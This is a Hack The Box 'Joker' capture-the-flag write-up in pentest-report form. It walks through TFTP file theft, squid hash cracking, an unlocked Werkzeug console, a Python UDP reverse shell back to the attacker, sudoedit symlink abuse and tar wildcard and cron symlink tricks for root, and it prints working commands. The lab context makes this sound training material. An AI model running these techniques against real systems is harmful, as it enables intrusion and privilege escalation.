Hack The Box Joker Writeup (Hard Linux)

Summary

Joker exposes only SSH and a squid proxy, but UDP port 69 is an open TFTP server that will hand over any path, including /etc/squid/squid.conf and /etc/squid/passwords. The kalamari realm hash in that file is an Apache MD5 that hashcat cracks to ihateseafood, and proxying a directory bruteforce through squid at 127.0.0.1 finds /console, a Werkzeug debugger left unlocked. The console runs Python but no TCP reverse shell comes back, and reading /etc/iptables/rules.v4 through it shows outbound TCP blocked except for 22 and 3128 while UDP is wide open, so a UDP reverse shell caught with socat gives the foothold as the werkzeug user. That account may run sudoedit on /var/www///layout.html as alekos, and because it owns /var/www/testing it can plant a layout.html symlink pointing at alekos’s authorized_keys and write its own public key in. Finally a root cron job tars up /home/alekos/development every five minutes, which yields root either by replacing that directory with a symlink to /root or by dropping tar checkpoint action filenames into it.

Independent Challenge - 10.10.10.21

export IP=10.10.10.21

Service Enumeration

Command: nmap -sC -sV -T4 $IP -oN scans/all-ports -vv -p- -Pn

IP Address	TCP Ports Open
10.10.10.21	22, 3128

IP Address	UDP Ports Open
10.10.10.21	69,113,138,217,514,1067,5355,16498,16779,17455,18818,19956,
	20206,21167,32345,32769,32778,33717,64513

TFTP Server (udp/69)

BS01: File Download

Vulnerability Explanation: There is an exposed tftp server running on port 69/udp, which allows remote users to download files from the target system without any proper authentication.

Severity: High

Vulnerability Fix:

1. Change the configuration for the tftp server in a way to allow only authorised IP addresses or authenticated users.

Steps to Reproduce the Attack:

1. Connect to the tftp server: tftp 10.10.10.21

2. Download squid configuration files: get /etc/squid/squid.conf

tftp $IP 
tftp> status
Connected to 10.10.10.21.
Mode: netascii Verbose: off Tracing: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> get /etc/squid/squid.conf
Received 295428 bytes in 56.8 seconds

SQUID Instance (3128/tcp)

BS02: Hash Cracking - Weak Password

Vulnerability Explanation: Exploring BS01 gave Behind Security the access to the configuration files of the SQUID instance on port 3128/tcp. Also, a file containing hashed password for the “kalamari” realm (/etc/squid/passwords) has been downloaded and we were able to crack the hashed password by bruteforce, as the password is present on the “rockyou” wordlist.

Severity: High

Vulnerability Fix:

1. Fix BS01 and immediately change password for “kalamari” realm.

Steps to Reproduce the Attack:

1. Download the squid password file via tftp (refer to BS01): get /etc/squid/passwords

2. Create a file named ‘hash’, containing only the hashed password: $apr1$zyzBxQY[REDACTED]5SLTph.l0

3. Use hashcat to crack it: hashcat -m 1600 -a 0 hash /usr/share/wordlists/rockyou.txt

4. Creds: kalamari:ihateseafood

Lateral Movement

BS03: Internal Web Server Directory Bruteforce

Vulnerability Explanation: Behind Security was able to run a directory bruteforce attack, leading to a discovery of a (otherwise) hidden web directory (/console).

Severity: Moderate

Steps to Reproduce the Attack:

1. Run gobuster: gobuster dir --proxy http://kalamari:PASSWORD-REDACTED@10.10.10.21:3128 -u http://127.0.0.1 -w /usr/share/wordlists/dirb/common.txt

BS04: Exposed Python Werkzeug Debugger Console

Vulnerability Explanation: After obtaining the credentials to use the squid http proxy on port 3128, Behind Security was able to interact with a local web server running on port 80. This local web server has the python debugger console enabled with no password or PIN at 127.0.0.1/console. This leads to a remote attacker being able to leverage python’s modules and execute commands directly on the system.

Severity: High

Vulnerability Fix:

1. Restrict access to the python debugger console.

Steps to Reproduce the Attack:

1. Configure FoxyProxy to use joker’s http proxy on port 3128.

2. Access: http://127.0.0.1/console

3. Use the debugger console to run arbitrary python and system commands.

BS05: Firewall Bypass - System Foothold

Vulnerability Explanation: Behind Security tried to reach out to their local machine multiple times, but failed. Different types of reverse shells were used, http servers were fired up using python to serve bash reverse shells but none did work, instead the debugger console hanged for a couple of seconds and returned back to normal. While ICMP packets were fine, TCP packets were not. Behind Security used the werkzeug debugger console to read the iptables config, and discovered that it has a rule that blocks new output tcp connections, excluding port 22 (ssh) and 3128 (squid), but UDP is fully allowed. With that in mind, Behind Security used a python UDP reverse shell and got a connection back, stablishing a foothold on the system.

Severity: High

Vulnerability Fix: Fix BS04 and hardener iptables rules to block unnecessary UDP connections.

Steps to Reproduce the Attack:

1. Explore BS04 to get access to the debug console

2. Read the iptables configuration file using python: with open("/etc/iptables/rules.v4") as f: lines = [x.rstrip() for x in f.readlines()];print('\n'.join(lines))

3. On your local machine, run socat with ‘tty’ and listen on port 53/udp:

socat file:`tty`,echo=0,raw udp-listen:53

1. Paste the python udp reverse shell below into the debugger console and hit enter (replace YOUR-TUN0-IP-ADDRESS with your actual tun0 ip address)

import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM);s.connect(("YOUR-TUN0-IP-ADDRESS",53));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE",'/dev/null');pty.spawn("/bin/bash");s.close()

Post Exploitation

BS06: Local Privilege Escalation (LPE) to ‘alekos’

Vulnerability Explanation: User ‘werkzeug’ can run sudoedit /var/www/*/*/layout.html as ‘alekos’ without password. As ‘werkzeug’ is the owner of /var/www/testing and can create folders inside it, it is possible to abuse the wildcards (*) and make a fake ‘layout.html’, a symbolic link to aleko’s authorized_keys, posing a high severity security risk as a remote attacker can abuse this flaw to obtain a SSH connection as aleko and get more privileges in the target system.

Severity: High

Vulnerability Fix: Change /etc/sudoers to grant

Steps to Reproduce the Attack:

1. Run sudo -l to view the command werkzeug can run as alekos

2. Create the path: /var/www/testing/exploit

3. Inside /var/www/testing/exploit, add a symbolic link named ‘layout.html’ to aleko’s ssh authorized_keys: ln -s /home/alekos/.ssh/authorized_keys layout.html

4. Run sudoedit -u alekos /var/www/testing/exploit/layout.html and press enter

5. Copy your id_rsa.pub and paste it into the nano session that just popped up

6. Press ctrl+o to save it and then ctrl+x to leave

7. SSH into the box as alekos: ssh alekos@10.10.10.21

BS07: Local Privilege Escalation (LPE) to ‘root’

Vulnerability Explanation: There is an automated script running every 5 minutes that is responsible for making a backup of all the files inside the /home/alekos/development folder. The zipped file is stored in /home/alekos/backup and we can see that the script uses tar to make the backup, and that the script is running as root, as all the zipped files are owned by root.

With that in mind, there are two possible ways to obtain root access to the machine: Either you delete the original /home/alekos/development folder to create a new folder that has the same name of the original but it is a symbolic link to /root, and when the script runs all the files inside /root are compressed and saved to /home/alekos/backups, or you can exploit tar following this example.

Severity: Extreme

Steps to Reproduce the Attack:

1. Delete the original development folder rm -rf /home/alekos/development and create a new one that is a symbolic link to /root: cd /home/alekos && ln -s /root development

2. Wait 5 minutes and decompress the newly created backup at /home/alekops/backup: tar -xvf dev-timestamp.tar.gz

Another Method:

1. Inside /home/alekos/development, create a malicious bash script containing the following:

#!/bin/bash

chmod +s /bin/bash

1. Grant execute permissions to your malicious bash script: chmod +x script.sh

2. Use the following commands to create some files to exploit tar:

echo "" > "--checkpoint-action=exec=sh script.sh"
echo "" > --checkpoint=1

1. Wait 5 minutes and run /bin/bash -p